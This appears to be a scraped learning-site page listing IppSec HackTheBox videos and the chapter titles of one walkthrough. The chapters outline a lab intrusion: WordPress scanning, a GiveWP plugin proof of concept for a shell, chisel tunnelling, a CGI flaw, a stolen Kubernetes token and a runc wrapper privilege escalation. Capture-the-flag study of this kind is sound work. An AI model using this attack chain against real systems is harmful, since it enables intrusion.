HackTheBox - Olympus
IppSec
HackTheBox - Sunday
IppSec
HackTheBox - Fighter
IppSec
HackTheBox - Bounty
IppSec
More on: AI Security
View skill →Related AI Lessons
⚡
⚡
⚡
⚡
The Only Git Commands You Actually Need — 47 Patterns for Daily Work
Dev.to · The AI producer
Common Next.js Errors (and How I Solved Them)
Dev.to · gary killen
Applying Scalability in Backend (CodeBuddy)
Medium · LLM
Why Every Backend Developer Should Learn Nginx Before Going to Production
Medium · DevOps
Chapters (12)
Introduction
1:00
Start of nmap
3:20
Adding the API Key to our WPScan
8:00
Discovering a POC for the GiveWP plugin and getting a shell
12:00
Looking at the WP Database, not getting much information
18:00
Discovering an HTTP endpoint in the environment variable, setting up chisel to
22:00
Looking at the custom web page, it is vulnerable to a PGP CGI Vulnerability
30:00
Shell on the second pod
31:00
Discovering a Kubernetes (k8s) token, copying it back to our box and setting u
39:50
Showing we didn't need KubeCTL we could have used curl, showing hacktricks age
44:50
With a password from k8s, we can login to the box and execute a runc wrapper w
52:15
Showing an alternative way to exploit this binary through exploiting the wrapp
🎓
Tutor Explanation
DeepCamp AI